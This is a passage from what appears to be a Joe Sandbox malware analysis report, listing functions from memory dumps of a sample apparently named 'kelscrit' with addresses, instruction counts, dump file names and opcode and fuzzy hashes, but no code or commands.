Opcode Fuzzy Hash: 6082af8e5b5629881ba9bf5d09ac20cbc6ac2d226b0d23d8da772f538fdaff34
Instruction Fuzzy Hash: F0B18B52F2EF00C9EF93353084817B1D659DF22146E12BB9E9427A1DA5B72F354F7188

Function 04380C8A Relevance: .4, Instructions: 433COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 928c14046d5407a322625126808d64f328b1b21efd0b1051b728c02aa13e00be
Instruction ID: ec3c2a826cfb7b4d9ffbbc2a01febdea4919348eb5511949973e21e39c07a392
Opcode Fuzzy Hash: 928c14046d5407a322625126808d64f328b1b21efd0b1051b728c02aa13e00be
Instruction Fuzzy Hash: 13B19B42F2EF00C9EF93317084817B1D699DF62146E12BB9E9427A1DA6B72F354F7188

Function 04380B9B Relevance: .4, Instructions: 433COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da3148c4dbbd5ee8853f85b38f0917b94326d2244dd10a91e6ee85756e91ec2b
Instruction ID: 13775b7a0601ff6a21c3d30cde831d5a610958548120cb8d464335886c71dfbf
Opcode Fuzzy Hash: da3148c4dbbd5ee8853f85b38f0917b94326d2244dd10a91e6ee85756e91ec2b
Instruction Fuzzy Hash: 45B18A42F2EF00C9EF93303084817B1D659DF62146E12BB9E9827A1DA5B72F364F7188

Function 04380D01 Relevance: .4, Instructions: 416COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73ad8fbe31354e578967ab0cb11c91815a317f3debc6750aa69ee568da149748
Instruction ID: e590de229593d87bdeda5b1052b818e96820bad8dd12667ed0b6d9cd61fde514
Opcode Fuzzy Hash: 73ad8fbe31354e578967ab0cb11c91815a317f3debc6750aa69ee568da149748
Instruction Fuzzy Hash: 28B18B92F2EF01C9EF93313084817B1D659DF26146E12BB9E8827A1DA5B72F354F7188

Function 04380DBE Relevance: .4, Instructions: 415COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a8a04886367d3f561dadda3fe98efd2f0e1f2f0e5891f4b7d991a53fe979b42
Instruction ID: d252d58f7606e8d4a7c95b7c55f9bbfd71b4d13bba3acdce0d27a9bcf9f45cae
Opcode Fuzzy Hash: 6a8a04886367d3f561dadda3fe98efd2f0e1f2f0e5891f4b7d991a53fe979b42
Instruction Fuzzy Hash: E2A19C42F2EF01C9EF93313084817B1D699DF66146E11BB9E8427A2DA6B72F354F7188

Function 04380D8B Relevance: .4, Instructions: 412COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50f29f0e5c20fd6c5fcbaf6e07ce438fc0695a2fc12b5393904d8b895fc45e62
Instruction ID: 88804a40d29ad8a80784061dbc48e919e3048fc3c5e6272d7a2c4e2f95a9c39e
Opcode Fuzzy Hash: 50f29f0e5c20fd6c5fcbaf6e07ce438fc0695a2fc12b5393904d8b895fc45e62
Instruction Fuzzy Hash: E4A17B42F2EF01C9EF933130C4816B2D699DF66146E12BB9E8427A2D65B72F354F7188

Function 04380CCE Relevance: .4, Instructions: 411COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ff6669667c448e33f41428cd8275b3979a7dabc152e6af0e266bd38628219d1
Instruction ID: 939aa85ff8ed7468a4966c86c2615682c96ddce11f4945afe9b96bd8d5e2b367
Opcode Fuzzy Hash: 3ff6669667c448e33f41428cd8275b3979a7dabc152e6af0e266bd38628219d1
Instruction Fuzzy Hash: 08A19B82F2EF00C9EF93303084817B1D659DF26146E12BB9E8427A1DA5772F364F3188

Function 04380D48 Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4664a9494599484e75a3011be3278fc21525e5e7a5545d62703c977c2471c32e
Instruction ID: 29138288491f1f682480b84ca9ae479fe5cbdaf044af77d952c7f6c70db18655
Opcode Fuzzy Hash: 4664a9494599484e75a3011be3278fc21525e5e7a5545d62703c977c2471c32e
Instruction Fuzzy Hash: 97A18B82F2EF01C9EF93313084817B1D659DF66146E12BB9E8827A1DA5B72F354F7188

Function 04380DE3 Relevance: .4, Instructions: 403COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1175c68c981edb8706bc878c4251c928db0d286f75c0e1c0e6f88411f27fa97
Instruction ID: 250175aee12b4732c9def3310447cb800944e94ff0e7f925d6b0e137d6437449
Opcode Fuzzy Hash: a1175c68c981edb8706bc878c4251c928db0d286f75c0e1c0e6f88411f27fa97
Instruction Fuzzy Hash: 43A18A82F2EF01C9EF93313084817B1D699DF66146E11BB9E8827A1DA5B72F354F7188

Function 04380D6D Relevance: .4, Instructions: 401COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 855502cebf91522c6d20411c27b20334ae72d73bbe0f2e2fab3f12c75c067f2a
Instruction ID: 368075625836f464bc0903f4f31dafc673a703a5db52cf5d8986ea94e44f51c6
Opcode Fuzzy Hash: 855502cebf91522c6d20411c27b20334ae72d73bbe0f2e2fab3f12c75c067f2a
Instruction Fuzzy Hash: 7BA17B82F2EF01C9EF93313084817B1D659DF66146E11BB9E4827A1DA6B72F354F7188

Function 04380FEC Relevance: .4, Instructions: 398COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46bec018b9cf86cb5fa86ee6e7261cf3ad3b30f43567313748f33cb2df45b6e4
Instruction ID: 16b50c0e4b7accc75a20d357c58e91564c96792e383ad526485a531747a694ee
Opcode Fuzzy Hash: 46bec018b9cf86cb5fa86ee6e7261cf3ad3b30f43567313748f33cb2df45b6e4
Instruction Fuzzy Hash: ECA1AC52F2EF01C9EF933530C4806B2D659DF66146E11BB9E8423A2DA6B72F354F7184

Function 04380E05 Relevance: .4, Instructions: 393COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a38d795703ee0891d909898edef915471e3f11dbf9cc0045c685de6b9831411
Instruction ID: 2839530c8dd5226f62df3da43157b9793f9d1dcd5e2e43b068a626c1f9384a2c
Opcode Fuzzy Hash: 6a38d795703ee0891d909898edef915471e3f11dbf9cc0045c685de6b9831411
Instruction Fuzzy Hash: 3CA17A82F2EF01C9EF93313084817B1D659DF66146E11BB9E8427A1DA5B62F354F7188

Function 04380E45 Relevance: .4, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a9d7ee3071a33bcd8fd46b61bc3980026b699e95b4c9fa20e2fdd9b86ae8314
Instruction ID: 804ea442ccd8c1abfb06024f044c5f97dbbcd3f1c5ca9b6c7ff7eaee4469d635
Opcode Fuzzy Hash: 2a9d7ee3071a33bcd8fd46b61bc3980026b699e95b4c9fa20e2fdd9b86ae8314
Instruction Fuzzy Hash: 18A16892F2EF00C9EF933530C4817B1D699DF26146E11BB9E8827A2D65B72F354B7188

Function 04380EF6 Relevance: .4, Instructions: 390COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d344069030b94d5befabb5762aeede8a280a6e86f8319433ecfb7f21eff3fc6e
Instruction ID: d13e25c2b7b8826a2cb1219124832714e16b93d90a83c2d9b3ea12ea16faabda
Opcode Fuzzy Hash: d344069030b94d5befabb5762aeede8a280a6e86f8319433ecfb7f21eff3fc6e
Instruction Fuzzy Hash: B6A19B82F2EF01C9EF833170C4816B1D699DF62146E11BB9E8427A2DA6B71F354F7188

Function 04380E15 Relevance: .4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9613439e7043629075c1f2cf9901035d3e2a4aa1994b5a9b5c9953a19405e31d
Instruction ID: 22e32c55354da8d722f557f95a2736f52b556188ab78dac0b26c3b32f12554e7
Opcode Fuzzy Hash: 9613439e7043629075c1f2cf9901035d3e2a4aa1994b5a9b5c9953a19405e31d
Instruction Fuzzy Hash: CCA17982F2EF01C9EF93313084817B1D699DF66146E11BB9E8827A1DA5B72F354F7188

Function 04380FC3 Relevance: .4, Instructions: 386COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 303a33cc9780d8d12449475cae73d470c3503c37c7759a7f0ca2392512daae0d
Instruction ID: aee0415f0cb3dbe00bc716f85473f7052e6cd9accbd7f0133eae8751b518034b
Opcode Fuzzy Hash: 303a33cc9780d8d12449475cae73d470c3503c37c7759a7f0ca2392512daae0d
Instruction Fuzzy Hash: BCA19B82F2EF01C9EF933530C4817B2E659DF62145E11BB9E8827A2DA5B71F354B7184

Function 04380F6C Relevance: .4, Instructions: 372COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e94e5f3d5bf22c71cae174177b3c53a536d5253dee163890c013544459b9cd55
Instruction ID: 04ff40b3244014296433960d4c5bca9cb33c081f276ad2c5297aa8a738291249
Opcode Fuzzy Hash: e94e5f3d5bf22c71cae174177b3c53a536d5253dee163890c013544459b9cd55
Instruction Fuzzy Hash: 41919992F2EF00C9EF833530C4816B1D699DF22146E11BB9E8827A2D65B72F354F7188

Function 0438102A Relevance: .4, Instructions: 369COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c370d2eb58c0a2c748d2ded229b249431b74b0bc359fc32cc3ff6fd2c8d0da96
Instruction ID: da02b0b86ac5961b96a7272935c4fb6325b906244196497d1e2affc9a61a4e94
Opcode Fuzzy Hash: c370d2eb58c0a2c748d2ded229b249431b74b0bc359fc32cc3ff6fd2c8d0da96
Instruction Fuzzy Hash: D3919A82F2EF01C9EF93317084816B1D689DF66146E11BB9E8437A2DA5B72F354F7184

Function 0438104D Relevance: .4, Instructions: 359COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fde7cfa0c37d8eefa29caa8663835faffe0eb30d31ab91adcb3a3ae4a364e8a8
Instruction ID: 773634442b1e03fcab2f6ed0edc6735b637c7d3684f35f6a35a2b3b89e42548f
Opcode Fuzzy Hash: fde7cfa0c37d8eefa29caa8663835faffe0eb30d31ab91adcb3a3ae4a364e8a8
Instruction Fuzzy Hash: D3919A42F2EF01C9EF83313084816B1D699DF66146E11BB9E8427A2DA5B71F394F7184

Function 0438106D Relevance: .4, Instructions: 352COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7aac975208a3d4946af2a503a8f2c5c9751077a64ea666046bcc7631d15b38fa
Instruction ID: 5662bb7ece9fb797f37f04b356fdc9207dfd2f52afa09662096f935b9f2d5824
Opcode Fuzzy Hash: 7aac975208a3d4946af2a503a8f2c5c9751077a64ea666046bcc7631d15b38fa
Instruction Fuzzy Hash: A8918A42F2EF01C9EF83317085816B1D689DF66186E11BB9E8437A2DA5B71F394F7188

Function 043810AF Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0183b913f9a4e2fcca05923541b085e32e055b7776983ca5269d5a1ebfa8c492
Instruction ID: 72abeb4124a2c58ba102006ffa9e316ba655964abf6a799ea69386c555390d31
Opcode Fuzzy Hash: 0183b913f9a4e2fcca05923541b085e32e055b7776983ca5269d5a1ebfa8c492
Instruction Fuzzy Hash: 2A918A52F2EF01C9EF833530C5816B1E699DF26186E11BB9D8427A2D61B72F394F7188

Function 0438115E Relevance: .3, Instructions: 346COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51d71d77e68aeba7a6b094a5366c40734a107eb8175b2c5467a9f6380d223a08
Instruction ID: 260828ce6d008913eede2f5c7ebf80db214c14a9d6558b594ca5ee11fb7902ec
Opcode Fuzzy Hash: 51d71d77e68aeba7a6b094a5366c40734a107eb8175b2c5467a9f6380d223a08
Instruction Fuzzy Hash: 3C819A42F3EF01C9EF83317085816B1D689DF66146E11BB9D8433A2DA6B71E354F7188

Function 0438107D Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb42703b0b788662f451f439996f4ea954d9ddc14044f3e13aff729f4002701e
Instruction ID: b5fe9a3f6923aa7de73ab61f923ffd2b760ad2af5369ad93b525b112debb9176
Opcode Fuzzy Hash: cb42703b0b788662f451f439996f4ea954d9ddc14044f3e13aff729f4002701e
Instruction Fuzzy Hash: 25818942F2EF01C9EF93313084816B1D689DF26146E11BB9E8437A2DA5B71F394F7188

Function 00406DE6 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca9fc840679c4677ea5dd763a2b97f011fd48deb17cd4c9d43ec117c62889360
Instruction ID: 02047a1f5ab1e1ae91636e32b2ea393de8a2dfbdc7c3bc720fead707395ef2b6
Opcode Fuzzy Hash: ca9fc840679c4677ea5dd763a2b97f011fd48deb17cd4c9d43ec117c62889360
Instruction Fuzzy Hash: 74E19A71A0470ADFCB24CF58C890BAABBF5FF44305F15852EE496A72D1E738AA51CB05

Function 043811D1 Relevance: .3, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ad7eb823c806daf8f47d93c38017878e1b9c092b53f6e43f5e748969337b845
Instruction ID: 1027bc4e180d36558faa4e5b613a89a8245372c64a660c57ecb549d5dc5e2ce8
Opcode Fuzzy Hash: 7ad7eb823c806daf8f47d93c38017878e1b9c092b53f6e43f5e748969337b845
Instruction Fuzzy Hash: 69819C52F2EF01C9EF833530C5816B1D699DF26146E11BB9D8423A2DA1B71F394F7184

Function 0438128E Relevance: .3, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73d152687f854968fcef8b0378c516ab8295c9efce20c7da15fde93c3b41c265
Instruction ID: f23050c114303b7ea0a3fa89715a77393c88e1f331b85f72b73917a9f0fd4b4c
Opcode Fuzzy Hash: 73d152687f854968fcef8b0378c516ab8295c9efce20c7da15fde93c3b41c265
Instruction Fuzzy Hash: 4681AA42F3EF01C9FF83317185816B1E699DF66146E11BB9E8423A2DA2B72E354F7184

Function 0438125F Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7faf72f6841eb4e1066c554a09e05a679420994f0aed703432751ff68f17887d
Instruction ID: e7da89159d12133bec059f1b80c0c722f891f9e97f29b4f1edbd4bed234fd3b0
Opcode Fuzzy Hash: 7faf72f6841eb4e1066c554a09e05a679420994f0aed703432751ff68f17887d
Instruction Fuzzy Hash: 6F819A42F2EF01C9FF83313085816B2D699EF66146E11BB9D8423A2DA5B72E354F7184

Function 0438121C Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1b4318c63ae8116e2cf6e989c34d31f150091b5ce92635639456b65fc3ea487
Instruction ID: 5fdd68cdc94daecadb457274d8857288b5d0193fa1413a6c3f53c337778ceebe
Opcode Fuzzy Hash: d1b4318c63ae8116e2cf6e989c34d31f150091b5ce92635639456b65fc3ea487
Instruction Fuzzy Hash: 52718B42F2EF01C9FF83317085816B1D689DF66186E11BB9D8827A2DA5B71F394F7188

Function 043812B0 Relevance: .3, Instructions: 314COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d3ab68e48757fdc8f6e1d1797ac34d7e4955161b7c932c2cd8011fd06e22b48
Instruction ID: eb279bc72b41b937cf9756aaa29a5dd96e4b45a3c5db17839abdb6b4c9717564
Opcode Fuzzy Hash: 9d3ab68e48757fdc8f6e1d1797ac34d7e4955161b7c932c2cd8011fd06e22b48
Instruction Fuzzy Hash: 58717842F2EF01C9EF83313085816F1D699DF66186E11BB9E8827A2DA1B71F394F7184

Function 043813CE Relevance: .3, Instructions: 311COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d7357b162da8d47a1d6e2b52f54381bcdf060c340c2661f647ea2fd2bcf7b82
Instruction ID: 2f3d6a4fe6b52a64cfaa8858fd63d0ff35589477382bbb4817d5878a2b8e3dee
Opcode Fuzzy Hash: 5d7357b162da8d47a1d6e2b52f54381bcdf060c340c2661f647ea2fd2bcf7b82
Instruction Fuzzy Hash: 1871BC42B2EF00C9FF833531C5816B1E699DF62146E11BB9D8423A2DA1B72F394F6284

Function 043812D8 Relevance: .3, Instructions: 304COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54b564382b7b4e179f7b564a83ea9ba7ec30b379e78f83f02817d2be013aaa5f
Instruction ID: fe9c55af62f9a7efba72ee5a72225e91989b068df6d18c2883f9103280f69739
Opcode Fuzzy Hash: 54b564382b7b4e179f7b564a83ea9ba7ec30b379e78f83f02817d2be013aaa5f
Instruction Fuzzy Hash: 11719A42F2EF01C9FF83353085816B1D699DF66186E11BB9D8827A2DA1B71F394F7184

Function 0438131C Relevance: .3, Instructions: 302COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 551963322b30d700bfc8e3916c19aa122feabc506473cfde02184078ab32f879
Instruction ID: 42c6ff7c99a7ea6925a2dde4e1da2a38bd8161d96f01f8e6efd625d3f7a4aa9f
Opcode Fuzzy Hash: 551963322b30d700bfc8e3916c19aa122feabc506473cfde02184078ab32f879
Instruction Fuzzy Hash: 78719B52B2EF01C9FF83353085816B1E699DF22145F11BB9D8827A2DA1B72F354F6184

Function 004075BD Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5db23d3e625216a1972a1fea7a98b9ee98c1df0b240da8e2d6c4f39054d3f9c6
Instruction ID: 0a97e2f3c77d8a3c51360fc4da6bbcda8fc4cde0dfaec3b210e24d05d93e5961
Opcode Fuzzy Hash: 5db23d3e625216a1972a1fea7a98b9ee98c1df0b240da8e2d6c4f39054d3f9c6
Instruction Fuzzy Hash: 46C14872E042198BCF18DF68C4905EEB7B2BF88354F25866AD856B7380D734A942CF95

Function 043812E8 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3537737f48897443b6b04df160bfed99d2bd908e36dbd49f37b7399c9398003e
Instruction ID: 784e034c99cd3f0a2a4357918f344c433f0e62af9879d3f4d7de98c7516d85fb
Opcode Fuzzy Hash: 3537737f48897443b6b04df160bfed99d2bd908e36dbd49f37b7399c9398003e
Instruction Fuzzy Hash: 35718A42B2EF01C9FF83313085816B1D699DF26186E11BB9D8833A2DA1B71F394F6188

Function 043814A3 Relevance: .3, Instructions: 297COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c16a08f3f949ebd3ef61bd1701ac15f8e0e5d53df7d31702437b9ead1902854
Instruction ID: a52a2bd867b4216842ce9b07129c15dcdc259aa98680a1cd1de06498e4ab0abc
Opcode Fuzzy Hash: 7c16a08f3f949ebd3ef61bd1701ac15f8e0e5d53df7d31702437b9ead1902854
Instruction Fuzzy Hash: AA71BC42B2EF01C9FF437530C581BB1E699EF62146F11BB9D9837A29A1B71E344B6184

Function 04381448 Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3494287edc5454a93bc3b2a3b7f707ce42ccadab2bb5604585d478e003b79ae7
Instruction ID: 7c31a4caf0fa157c6b83bf472a788eadaa6570d69164b5cc15741c6560d938c3
Opcode Fuzzy Hash: 3494287edc5454a93bc3b2a3b7f707ce42ccadab2bb5604585d478e003b79ae7
Instruction Fuzzy Hash: 4961AD52F2EF01C9FF433530C5816B1E699EF62146F11BB9D8837A29A1B72F394B6184

Function 04381506 Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

